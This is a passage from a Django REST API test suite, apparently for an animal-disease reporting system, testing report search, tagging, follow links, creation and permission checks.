self.assertEqual(report1['id'], self.report1.id) def test_api_report_search_report_created_by_name(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=createdByName: %s' % self.jessica.first_name) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report3.id) response = self.client.get(reverse('reports_search') + '?q=createdByName: %s' % self.jessica.last_name) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report3.id) response = self.client.get(reverse('reports_search') + '?q=createdByName: %s' % self.taeyeon.get_full_name()) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 2) def test_api_report_search_report_created_by_name_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('reports_search') + '?q=createdByName: %s' % self.jessica.first_name) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report3.id) response = self.client.get(reverse('reports_search') + '?q=createdByName: %s' % self.jessica.last_name) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 1) report1 = response_json['results'][0] self.assertEqual(report1['id'], self.report3.id) response = self.client.get(reverse('reports_search') + '?q=createdByName: %s' % self.taeyeon.get_full_name()) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(response_json['count'], 2) def test_anonymous_cannot_access_api_list_search(self): response = self.client.get(reverse('reports_search')) self.assertEqual(response.status_code, 401) class TestApiReportTags(APITestCase): def setUp(self): call_command('clear_index', interactive=False, verbosity=0) self.taeyeon = factory.create_user() self.authority = factory.create_authority() self.authority.users.add(self.taeyeon) self.type = factory.create_report_type(authority=self.authority) self.area = factory.create_administration_area(authority=self.authority) self.report1 = factory.create_report(created_by=self.taeyeon, type=self.type, administration_area=self.area, date=datetime.datetime(2014, 11, 7, 12, 30, 45)) self.report2 = factory.create_report(created_by=self.taeyeon, type=self.type, administration_area=self.area, date=datetime.datetime(2014, 11, 11, 12, 30, 45)) def test_anonymous_cannot_access_api_post_report_tags(self): params = {} response = self.client.post(reverse('add_reports_tags'), params) self.assertEqual(response.status_code, 401) def test_cannot_post_report_tags_without_data(self): self.client.credentials(HTTP_AUTHORIZATION='Token ' + self.taeyeon.auth_token.key) params = {} response = self.client.post(reverse('add_reports_tags'), params) self.assertEqual(response.status_code, 400) def test_cannot_post_report_tags_without_report_ids(self): self.client.credentials(HTTP_AUTHORIZATION='Token ' + self.taeyeon.auth_token.key) params = { 'tags': [ {'text': 'test'}, ], } response = self.client.post(reverse('add_reports_tags'), params) self.assertEqual(response.status_code, 400) def test_cannot_post_report_tags_without_tags(self): self.client.credentials(HTTP_AUTHORIZATION='Token ' + self.taeyeon.auth_token.key) params = { 'reportIds': [self.report1.id, self.report2.id] } response = self.client.post(reverse('add_reports_tags'), params) self.assertEqual(response.status_code, 400) def test_cannot_post_report_tags(self): self.client.credentials(HTTP_AUTHORIZATION='Token ' + self.taeyeon.auth_token.key) params = { 'reportIds': [self.report1.id, self.report2.id], 'tags': [ {'text': 'test'}, ], } response = self.client.post(reverse('add_reports_tags'), params) self.assertEqual(response.status_code, 200) report1 = Report.objects.get(id=self.report1.id) self.assertTrue("test" in report1.tags.values_list('name', flat=True)) report2 = Report.objects.get(id=self.report2.id) self.assertTrue("test" in report2.tags.values_list('name', flat=True)) def test_cannot_post_report_multiple_tags(self): self.client.credentials(HTTP_AUTHORIZATION='Token ' + self.taeyeon.auth_token.key) params = { 'reportIds': [self.report1.id, self.report2.id], 'tags': [ {'text': 'test1'}, {'text': 'test2'}, {'text': 'test3'}, ], } response = self.client.post(reverse('add_reports_tags'), params) self.assertEqual(response.status_code, 200) report1 = Report.objects.get(id=self.report1.id) self.assertTrue("test1" in report1.tags.values_list('name', flat=True)) self.assertTrue("test2" in report1.tags.values_list('name', flat=True)) self.assertTrue("test3" in report1.tags.values_list('name', flat=True)) report2 = Report.objects.get(id=self.report2.id) self.assertTrue("test1" in report2.tags.values_list('name', flat=True)) self.assertTrue("test2" in report2.tags.values_list('name', flat=True)) self.assertTrue("test3" in report2.tags.values_list('name', flat=True)) class TestApiReportInvolved(APITestCase): def setUp(self): try: ReportType.objects.get(id=0) except ReportType.DoesNotExist: ReportType.objects.create( id=0, name='Positive Report Type', form_definition='{}', version=0, ) call_command('clear_index', interactive=False, verbosity=0) self.taeyeon = factory.create_user() self.jessica = factory.create_user() self.yoona = factory.create_user() self.authority = factory.create_authority() self.authority.users.add(self.taeyeon) self.authority.users.add(self.yoona) self.type1 = factory.create_report_type(authority=self.authority) self.type2 = factory.create_report_type(authority=self.authority) self.type3 = factory.create_report_type() self.area1 = factory.create_administration_area(authority=self.authority) self.area2 = factory.create_administration_area(authority=self.authority) self.area3 = factory.create_administration_area() self.report1 = factory.create_report(created_by=self.taeyeon, type=self.type2, administration_area=self.area1, date=datetime.datetime(2014, 11, 7, 12, 30, 45)) self.report2 = factory.create_report(created_by=self.taeyeon, type=self.type1, administration_area=self.area1, parent=self.report1, date=datetime.datetime(2014, 11, 9, 12, 30, 45)) self.report3 = factory.create_report(created_by=self.jessica, type=self.type1, administration_area=self.area1, parent=self.report1, date=datetime.datetime(2014, 11, 11, 13, 30, 45)) self.report4 = factory.create_report(type=self.type3, administration_area=self.area2) self.report5 = factory.create_report(type=self.type1, administration_area=self.area3) def test_api_report_involved_that_report_is_parent(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-involved', args=[self.report1.id])) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 2) report1 = response_json[0] self.assertEqual(report1['id'], self.report3.id) self.assertEqual(report1['reportId'], self.report3.report_id) self.assertEqual(report1['guid'], self.report3.guid) self.assertEqual(report1['reportTypeId'], self.report3.type.id) self.assertEqual(report1['administrationAreaId'], self.report3.administration_area.id) self.assertEqual(report1['negative'], self.report3.negative) self.assertEqual(report1['createdByName'], self.report3.created_by.get_full_name()) self.assertEqual(report1['date'], self.report3.date.strftime('%Y-%m-%dT%H:%M:%SZ')) self.assertEqual(report1['incidentDate'], self.report3.incident_date.strftime('%Y-%m-%d')) report2 = response_json[1] self.assertEqual(report2['id'], self.report2.id) self.assertEqual(report2['reportId'], self.report2.report_id) self.assertEqual(report2['guid'], self.report2.guid) self.assertEqual(report2['reportTypeId'], self.report2.type.id) self.assertEqual(report2['administrationAreaId'], self.report2.administration_area.id) self.assertEqual(report2['negative'], self.report2.negative) self.assertEqual(report2['createdByName'], self.report2.created_by.get_full_name()) self.assertEqual(report2['date'], self.report2.date.strftime('%Y-%m-%dT%H:%M:%SZ')) self.assertEqual(report2['incidentDate'], self.report2.incident_date.strftime('%Y-%m-%d')) def test_api_report_involved_that_report_is_parent_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('report-involved', args=[self.report1.id])) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 2) report1 = response_json[0] self.assertEqual(report1['id'], self.report3.id) self.assertEqual(report1['reportId'], self.report3.report_id) self.assertEqual(report1['guid'], self.report3.guid) self.assertEqual(report1['reportTypeId'], self.report3.type.id) self.assertEqual(report1['administrationAreaId'], self.report3.administration_area.id) self.assertEqual(report1['negative'], self.report3.negative) self.assertEqual(report1['createdByName'], self.report3.created_by.get_full_name()) self.assertEqual(report1['date'], self.report3.date.strftime('%Y-%m-%dT%H:%M:%SZ')) self.assertEqual(report1['incidentDate'], self.report3.incident_date.strftime('%Y-%m-%d')) report2 = response_json[1] self.assertEqual(report2['id'], self.report2.id) self.assertEqual(report2['reportId'], self.report2.report_id) self.assertEqual(report2['guid'], self.report2.guid) self.assertEqual(report2['reportTypeId'], self.report2.type.id) self.assertEqual(report2['administrationAreaId'], self.report2.administration_area.id) self.assertEqual(report2['negative'], self.report2.negative) self.assertEqual(report2['createdByName'], self.report2.created_by.get_full_name()) self.assertEqual(report2['date'], self.report2.date.strftime('%Y-%m-%dT%H:%M:%SZ')) self.assertEqual(report2['incidentDate'], self.report2.incident_date.strftime('%Y-%m-%d')) def test_api_report_involved_that_report_is_child(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-involved', args=[self.report2.id])) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 2) report1 = response_json[0] self.assertEqual(report1['id'], self.report3.id) self.assertEqual(report1['reportId'], self.report3.report_id) self.assertEqual(report1['guid'], self.report3.guid) self.assertEqual(report1['reportTypeId'], self.report3.type.id) self.assertEqual(report1['administrationAreaId'], self.report3.administration_area.id) self.assertEqual(report1['negative'], self.report3.negative) self.assertEqual(report1['createdByName'], self.report3.created_by.get_full_name()) self.assertEqual(report1['date'], self.report3.date.strftime('%Y-%m-%dT%H:%M:%SZ')) self.assertEqual(report1['incidentDate'], self.report3.incident_date.strftime('%Y-%m-%d')) report2 = response_json[1] self.assertEqual(report2['id'], self.report1.id) self.assertEqual(report2['reportId'], self.report1.report_id) self.assertEqual(report2['guid'], self.report1.guid) self.assertEqual(report2['reportTypeId'], self.report1.type.id) self.assertEqual(report2['administrationAreaId'], self.report1.administration_area.id) self.assertEqual(report2['negative'], self.report1.negative) self.assertEqual(report2['createdByName'], self.report1.created_by.get_full_name()) self.assertEqual(report2['date'], self.report1.date.strftime('%Y-%m-%dT%H:%M:%SZ')) self.assertEqual(report2['incidentDate'], self.report1.incident_date.strftime('%Y-%m-%d')) def test_api_report_involved_that_report_is_child_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) response = self.client.get(reverse('report-involved', args=[self.report2.id])) self.assertEqual(response.status_code, 200) response_json = json.loads(response.content) self.assertEqual(len(response_json), 2) report1 = response_json[0] self.assertEqual(report1['id'], self.report3.id) self.assertEqual(report1['reportId'], self.report3.report_id) self.assertEqual(report1['guid'], self.report3.guid) self.assertEqual(report1['reportTypeId'], self.report3.type.id) self.assertEqual(report1['administrationAreaId'], self.report3.administration_area.id) self.assertEqual(report1['negative'], self.report3.negative) self.assertEqual(report1['createdByName'], self.report3.created_by.get_full_name()) self.assertEqual(report1['date'], self.report3.date.strftime('%Y-%m-%dT%H:%M:%SZ')) self.assertEqual(report1['incidentDate'], self.report3.incident_date.strftime('%Y-%m-%d')) report2 = response_json[1] self.assertEqual(report2['id'], self.report1.id) self.assertEqual(report2['reportId'], self.report1.report_id) self.assertEqual(report2['guid'], self.report1.guid) self.assertEqual(report2['reportTypeId'], self.report1.type.id) self.assertEqual(report2['administrationAreaId'], self.report1.administration_area.id) self.assertEqual(report2['negative'], self.report1.negative) self.assertEqual(report2['createdByName'], self.report1.created_by.get_full_name()) self.assertEqual(report2['date'], self.report1.date.strftime('%Y-%m-%dT%H:%M:%SZ')) self.assertEqual(report2['incidentDate'], self.report1.incident_date.strftime('%Y-%m-%d')) def test_api_report_involved_results_only_have_permission_on_report_type(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-involved', args=[self.report4.id])) self.assertEqual(response.status_code, 403) def test_api_report_involved_results_only_have_permission_on_administration_area(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-involved', args=[self.report5.id])) self.assertEqual(response.status_code, 403) def test_anonymous_cannot_access_api_list_reports(self): response = self.client.get(reverse('report-involved', args=[self.report1.id])) self.assertEqual(response.status_code, 401) class TestApiReportFollow(APITestCase): def setUp(self): try: ReportType.objects.get(id=0) except ReportType.DoesNotExist: ReportType.objects.create( id=0, name='Positive Report Type', form_definition='{}', version=0, ) call_command('clear_index', interactive=False, verbosity=0) self.taeyeon = factory.create_user() self.jessica = factory.create_user() self.yoona = factory.create_user() self.authority = factory.create_authority() self.authority.users.add(self.taeyeon) self.authority.users.add(self.yoona) self.type1 = factory.create_report_type(authority=self.authority) self.type2 = factory.create_report_type(authority=self.authority) self.type3 = factory.create_report_type() self.area1 = factory.create_administration_area(authority=self.authority) self.area2 = factory.create_administration_area(authority=self.authority) self.area3 = factory.create_administration_area() self.report1 = factory.create_report(created_by=self.taeyeon, type=self.type2, administration_area=self.area1, date=datetime.datetime(2014, 11, 7, 12, 30, 45)) self.report2 = factory.create_report(created_by=self.taeyeon, type=self.type1, administration_area=self.area1, date=datetime.datetime(2014, 11, 9, 12, 30, 45)) self.report3 = factory.create_report(created_by=self.jessica, type=self.type1, administration_area=self.area1, date=datetime.datetime(2014, 11, 11, 13, 30, 45)) self.report4 = factory.create_report(type=self.type3, administration_area=self.area2) self.report5 = factory.create_report(type=self.type1, administration_area=self.area3) def test_api_post_report_follow(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { 'parent': self.report2.id } response = self.client.post(reverse('report-follow', args=[self.report1.id]), params) self.assertEqual(response.status_code, 200) report1 = Report.objects.get(id=self.report1.id) self.assertEqual(report1.parent, self.report2) # CHECK CREATE REPORT COMMENT FLAG comment = ReportComment.objects.latest('id') self.assertEqual(comment.report, report1) self.assertEqual(comment.created_by, self.taeyeon) flag = Flag.objects.latest('id') self.assertEqual(flag.comment, comment) self.assertEqual(flag.priority, PRIORITY_FOLLOW) self.assertEqual(flag.flag_owner, self.taeyeon) def test_api_post_report_follow_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoona.auth_token.key) params = { 'parent': self.report2.id } response = self.client.post(reverse('report-follow', args=[self.report1.id]), params) self.assertEqual(response.status_code, 200) report1 = Report.objects.get(id=self.report1.id) self.assertEqual(report1.parent, self.report2) # CHECK CREATE REPORT COMMENT FLAG comment = ReportComment.objects.latest('id') self.assertEqual(comment.report, report1) self.assertEqual(comment.created_by, self.yoona) flag = Flag.objects.latest('id') self.assertEqual(flag.comment, comment) self.assertEqual(flag.priority, PRIORITY_FOLLOW) self.assertEqual(flag.flag_owner, self.yoona) def test_api_post_report_follow_invalid(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.post(reverse('report-follow', args=[self.report1.id])) self.assertEqual(response.status_code, 400) response_json = json.loads(response.content) self.assertEqual(response_json['parent'], 'This field is required.') params = { 'parent': 12345, } response = self.client.post(reverse('report-follow', args=[self.report1.id]), params) self.assertEqual(response.status_code, 400) response_json = json.loads(response.content) self.assertEqual(response_json['parent'], 'Report not found.') ''' def test_api_post_report_follow_only_have_permission_on_report_type(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.post(reverse('report-follow', args=[self.report4.id])) self.assertEqual(response.status_code, 403) ''' def test_api_post_report_follow_only_have_permission_on_administration_area(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.post(reverse('report-follow', args=[self.report5.id])) self.assertEqual(response.status_code, 403) def test_anonymous_cannot_access_api_post_report_follow(self): response = self.client.post(reverse('report-follow', args=[self.report1.id])) self.assertEqual(response.status_code, 401) def test_cannot_get_api_post_report_follow(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) response = self.client.get(reverse('report-follow', args=[self.report1.id])) self.assertEqual(response.status_code, 405) class TestApiReportCreate(APITestCase): def setUp(self): try: self.default_positive_type = ReportType.objects.get(id=0) except ReportType.DoesNotExist: self.default_positive_type = ReportType.objects.create( id=0, name='Positive Report Type', form_definition='{}', version=0, ) call_command('log_action_create', interactive=False, verbosity=0) call_command('clear_index', interactive=False, verbosity=0) self.taeyeon = factory.create_user(administration_area=factory.create_administration_area()) self.jessica = factory.create_user() self.yoona = factory.create_user(is_superuser=True, is_staff=True) self.krystal = factory.create_user() self.authority = factory.create_authority() self.authority.users.add(self.taeyeon) self.authority.users.add(self.krystal) self.type = factory.create_report_type(authority=self.authority) self.area = factory.create_administration_area(authority=self.authority) self.area2 = factory.create_administration_area(authority=self.authority) self.report1 = factory.create_report(created_by=self.taeyeon, type=self.type, administration_area=self.area, date=datetime.datetime(2014, 11, 7, 12, 30, 45)) self.report2 = factory.create_report(created_by=self.krystal, type=self.type, administration_area=self.area, date=datetime.datetime(2014, 11, 7, 12, 30, 45)) def test_post_api_report_create(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { "reportId": 123, "guid": "09d09djjjkdf09df0dfdfdfdf", "reportTypeId": self.type.id, "date": "2014-09-01T04:11:15+07:00", "incidentDate": "2014-09-01", "administrationAreaId": self.area.id, "remark": "xxxxxxxxxxxxxx", "formData": { "animalType": "dog", "symptom": "cough,fever,pain", "sickCount": 4, "deathCount": 3, "totalCount": 12, "nearByCount": 3 }, "negative": True, "reportLocation": { "latitude": 13.8082770000000004, "longitude": 100.7522060000000010 } } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 201) class TZ(datetime.tzinfo): def utcoffset(self, dt): return datetime.timedelta(minutes=420) report = Report.objects.latest('id') self.assertEqual(report.report_id, 123) self.assertEqual(report.guid, '09d09djjjkdf09df0dfdfdfdf') self.assertEqual(report.type, self.type) self.assertEqual(report.date, datetime.datetime(2014, 9, 1, 4, 11, 15, tzinfo=TZ())) self.assertEqual(report.incident_date, datetime.date(2014, 9, 1)) self.assertEqual(report.administration_area, self.area) self.assertEqual(report.administration_location.wkt, self.area.location.wkt) self.assertEqual(report.remark, 'xxxxxxxxxxxxxx') self.assertEqual(report.negative, True) self.assertEqual(report.report_location.wkt, 'POINT (100.7522060000000010 13.8082770000000004)') self.assertEqual(json.loads(report.form_data), { "animalType": "dog", "symptom": "cough,fever,pain", "sickCount": 4, "deathCount": 3, "totalCount": 12, "nearByCount": 3 }) self.assertEqual(report.created_by, self.taeyeon) def test_post_api_report_create_with_report_type_code(self): """Use report type code instead of report type id""" self.client.credentials(HTTP_AUTHORIZATION='Token ' + self.taeyeon.auth_token.key) params = { "reportId": 10001, "guid": "guid-1001", "reportTypeCode": self.type.code, "date": timezone.now(), "incidentDate": timezone.now().strftime('%Y-%m-%d'), "administrationAreaId": self.area.id, "formData": {}, "negative": True } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 201) created_report = Report.objects.latest('id') self.assertEqual(created_report.type.id, self.type.id) def test_post_api_report_create_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) params = { "reportId": 123, "guid": "09d09djjjkdf09df0dfdfdfdf", "reportTypeId": self.type.id, "date": "2014-09-01T04:11:15+07:00", "incidentDate": "2014-09-01", "administrationAreaId": self.area.id, "remark": "xxxxxxxxxxxxxx", "formData": { "animalType": "dog", "symptom": "cough,fever,pain", "sickCount": 4, "deathCount": 3, "totalCount": 12, "nearByCount": 3 }, "negative": True, "reportLocation": { "latitude": 13.8082770000000004, "longitude": 100.7522060000000010 } } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 201) class TZ(datetime.tzinfo): def utcoffset(self, dt): return datetime.timedelta(minutes=420) report = Report.objects.latest('id') self.assertEqual(report.report_id, 123) self.assertEqual(report.guid, '09d09djjjkdf09df0dfdfdfdf') self.assertEqual(report.type, self.type) self.assertEqual(report.date, datetime.datetime(2014, 9, 1, 4, 11, 15, tzinfo=TZ())) self.assertEqual(report.incident_date, datetime.date(2014, 9, 1)) self.assertEqual(report.administration_area, self.area) self.assertEqual(report.administration_location.wkt, self.area.location.wkt) self.assertEqual(report.remark, 'xxxxxxxxxxxxxx') self.assertEqual(report.negative, True) self.assertEqual(report.report_location.wkt, 'POINT (100.7522060000000010 13.8082770000000004)') self.assertEqual(json.loads(report.form_data), { "animalType": "dog", "symptom": "cough,fever,pain", "sickCount": 4, "deathCount": 3, "totalCount": 12, "nearByCount": 3 }) self.assertEqual(report.created_by, self.krystal) def test_post_api_follow_report_create_by_parent_guid(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { "reportId": 123, "guid": "09d09djjjkdf09df0dfdfdfdf", "reportTypeId": self.type.id, "date": "2014-09-01T04:11:15+07:00", "incidentDate": "2014-09-01", "administrationAreaId": self.area.id, "remark": "xxxxxxxxxxxxxx", "formData": { "animalType": "dog", "symptom": "cough,fever,pain", "sickCount": 4, "deathCount": 3, "totalCount": 12, "nearByCount": 3 }, "negative": True, "reportLocation": { "latitude": 13.8082770000000004, "longitude": 100.7522060000000010 }, "parentGuid": self.report1.guid } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 201) # response_json = json.loads(response.content) # self.assertTrue(response_json['id']) # self.assertEqual(response_json['reportId'], 123) # self.assertEqual(response_json['guid'], '09d09djjjkdf09df0dfdfdfdf') # self.assertEqual(response_json['reportTypeId'], self.type.id) # self.assertEqual(response_json['date'], '2014-09-01T04:11:15+07:00') # self.assertEqual(response_json['incidentDate'], '2014-09-01') # self.assertEqual(response_json['administrationAreaId'], self.area.id) # self.assertEqual(response_json['remark'], 'xxxxxxxxxxxxxx') # self.assertEqual(response_json['negative'], True) # self.assertEqual(response_json['reportLocation']['type'], 'Point') # self.assertEqual(response_json['reportLocation']['coordinates'], [100.7522060000000010, 13.8082770000000004]) # self.assertEqual(response_json['formData'], { # "animalType": "dog", # "symptom": "cough,fever,pain", # "sickCount": 4, # "deathCount": 3, # "totalCount": 12, # "nearByCount": 3 # }) # self.assertEqual(response_json['createdBy'], self.taeyeon.get_full_name()) class TZ(datetime.tzinfo): def utcoffset(self, dt): return datetime.timedelta(minutes=420) report = Report.objects.latest('id') self.assertEqual(report.report_id, 123) self.assertEqual(report.guid, '09d09djjjkdf09df0dfdfdfdf') self.assertEqual(report.type, self.type) self.assertEqual(report.date, datetime.datetime(2014, 9, 1, 4, 11, 15, tzinfo=TZ())) self.assertEqual(report.incident_date, datetime.date(2014, 9, 1)) self.assertEqual(report.administration_area, self.area) self.assertEqual(report.administration_location.wkt, self.area.location.wkt) self.assertEqual(report.remark, 'xxxxxxxxxxxxxx') self.assertEqual(report.negative, True) self.assertEqual(report.report_location.wkt, 'POINT (100.7522060000000010 13.8082770000000004)') self.assertEqual(report.parent, self.report1) # self.assertEqual(report.priority, PRIORITY_FOLLOW) self.assertEqual(json.loads(report.form_data), { "animalType": "dog", "symptom": "cough,fever,pain", "sickCount": 4, "deathCount": 3, "totalCount": 12, "nearByCount": 3 }) self.assertEqual(report.created_by, self.taeyeon) def test_post_api_follow_report_create_by_parent_guid_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) params = { "reportId": 123, "guid": "09d09djjjkdf09df0dfdfdfdf", "reportTypeId": self.type.id, "date": "2014-09-01T04:11:15+07:00", "incidentDate": "2014-09-01", "administrationAreaId": self.area.id, "remark": "xxxxxxxxxxxxxx", "formData": { "animalType": "dog", "symptom": "cough,fever,pain", "sickCount": 4, "deathCount": 3, "totalCount": 12, "nearByCount": 3 }, "negative": True, "reportLocation": { "latitude": 13.8082770000000004, "longitude": 100.7522060000000010 }, "parentGuid": self.report2.guid } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 201) class TZ(datetime.tzinfo): def utcoffset(self, dt): return datetime.timedelta(minutes=420) report = Report.objects.latest('id') self.assertEqual(report.report_id, 123) self.assertEqual(report.guid, '09d09djjjkdf09df0dfdfdfdf') self.assertEqual(report.type, self.type) self.assertEqual(report.date, datetime.datetime(2014, 9, 1, 4, 11, 15, tzinfo=TZ())) self.assertEqual(report.incident_date, datetime.date(2014, 9, 1)) self.assertEqual(report.administration_area, self.area) self.assertEqual(report.administration_location.wkt, self.area.location.wkt) self.assertEqual(report.remark, 'xxxxxxxxxxxxxx') self.assertEqual(report.negative, True) self.assertEqual(report.report_location.wkt, 'POINT (100.7522060000000010 13.8082770000000004)') self.assertEqual(json.loads(report.form_data), { "animalType": "dog", "symptom": "cough,fever,pain", "sickCount": 4, "deathCount": 3, "totalCount": 12, "nearByCount": 3 }) self.assertEqual(report.parent, self.report2) # self.assertEqual(report.priority, PRIORITY_FOLLOW) self.assertEqual(report.created_by, self.krystal) def test_post_api_report_create_date_with_multiple_format(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) # FORMAT +0700 params = { "reportId": 123, "guid": "09d09djjjkdf09df0dfdfdfdf", "reportTypeId": self.type.id, "date": "2014-09-01T04:11:15+0700", "incidentDate": "2014-09-01", "administrationAreaId": self.area.id, "formData": { "animalType": "dog", }, "negative": False, } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 201) # response_json = json.loads(response.content) # self.assertEqual(response_json['date'], '2014-09-01T04:11:15+07:00') class TZ(datetime.tzinfo): def utcoffset(self, dt): return datetime.timedelta(minutes=420) report = Report.objects.latest('id') self.assertEqual(report.date, datetime.datetime(2014, 9, 1, 4, 11, 15, tzinfo=TZ())) # FORMAT Z params = { "reportId": 123, "guid": "09d09djjjkdf09df0zczczczc", "reportTypeId": self.type.id, "date": "2014-09-01T04:11:15Z", "incidentDate": "2014-09-01", "administrationAreaId": self.area.id, "formData": { "animalType": "dog", }, "negative": False, } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 201) # response_json = json.loads(response.content) # self.assertEqual(response_json['date'], '2014-09-01T04:11:15+00:00') class TZ(datetime.tzinfo): def utcoffset(self, dt): return datetime.timedelta(0) report = Report.objects.latest('id') self.assertEqual(report.date, datetime.datetime(2014, 9, 1, 4, 11, 15, tzinfo=TZ())) def test_post_api_report_create_date_with_multiple_format_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) # FORMAT +0700 params = { "reportId": 123, "guid": "09d09djjjkdf09df0dfdfdfdf", "reportTypeId": self.type.id, "date": "2014-09-01T04:11:15+0700", "incidentDate": "2014-09-01", "administrationAreaId": self.area.id, "formData": { "animalType": "dog", }, "negative": False, } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 201) class TZ(datetime.tzinfo): def utcoffset(self, dt): return datetime.timedelta(minutes=420) report = Report.objects.latest('id') self.assertEqual(report.date, datetime.datetime(2014, 9, 1, 4, 11, 15, tzinfo=TZ())) # FORMAT Z params = { "reportId": 123, "guid": "09d09djjjkdf09df0zczczczc", "reportTypeId": self.type.id, "date": "2014-09-01T04:11:15Z", "incidentDate": "2014-09-01", "administrationAreaId": self.area.id, "formData": { "animalType": "dog", }, "negative": False, } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 201) class TZ(datetime.tzinfo): def utcoffset(self, dt): return datetime.timedelta(0) report = Report.objects.latest('id') self.assertEqual(report.date, datetime.datetime(2014, 9, 1, 4, 11, 15, tzinfo=TZ())) ''' def test_post_api_report_create_positive_report_type_and_area_0(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.taeyeon.auth_token.key) params = { "reportId": 123, "guid": "09d09djjjkdf09df0dfdfdfdf", "reportTypeId": 0, "date": "2014-09-01T04:11:15+07:00", "incidentDate": "2014-09-01", # "administrationAreaId": 0, "remark": "xxxxxxxxxxxxxx", "formData": {}, "negative": False, "reportLocation": { "latitude": 13.8082770000000004, "longitude": 100.7522060000000010 } } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 201) def test_post_api_report_create_positive_report_type_and_area_0_with_authority(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.krystal.auth_token.key) params = { "reportId": 123, "guid": "09d09djjjkdf09df0dfdfdfdf", "reportTypeId": 0, "date": "2014-09-01T04:11:15+07:00", "incidentDate": "2014-09-01", # "administrationAreaId": 0, "remark": "xxxxxxxxxxxxxx", "formData": {}, "negative": False, "reportLocation": { "latitude": 13.8082770000000004, "longitude": 100.7522060000000010 } } response = self.client.post(reverse('report-list'), params) print response self.assertEqual(response.status_code, 201) def test_post_api_report_create_positive_report_type_and_area_0_and_reporter_does_not_have_default_area_will_error(self): self.yoontae = factory.create_user() self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.yoontae.auth_token.key) params = { "reportId": 123, "guid": "09d09djjjkdf09df0dfdfdfdf", "reportTypeId": 0, "date": "2014-09-01T04:11:15+07:00", "incidentDate": "2014-09-01", # "administrationAreaId": 0, "remark": "xxxxxxxxxxxxxx", "formData": {}, "negative": False, "reportLocation": { "latitude": 13.8082770000000004, "longitude": 100.7522060000000010 } } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 400) response_json = json.loads(response.content) self.assertEqual(response_json['administrationAreaId'], ['This user does not have default admintration area.']) ''' def test_cannot_post_api_report_if_user_dont_have_authorized_in_report_type(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.jessica.auth_token.key) params = { "reportTypeId": self.type.id, "reportId": 1234, "guid": "09d09djjjkdf09df0dfdfdfdf", } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 400) response_json = json.loads(response.content) self.assertEqual(response_json['reportTypeId'], ['You do not have permission to create this report type.']) def test_cannot_post_api_report_if_user_dont_have_authorized_in_administration_area(self): self.client.credentials(HTTP_AUTHORIZATION = 'Token ' + self.jessica.auth_token.key) params = { "administrationAreaId": self.area.id, "reportId": 1234, "guid": "09d09djjjkdf09df0dfdfdfdf", } response = self.client.post(reverse('report-list'), params) self.assertEqual(response.status_code, 400) response_json = json.loads(response.content) 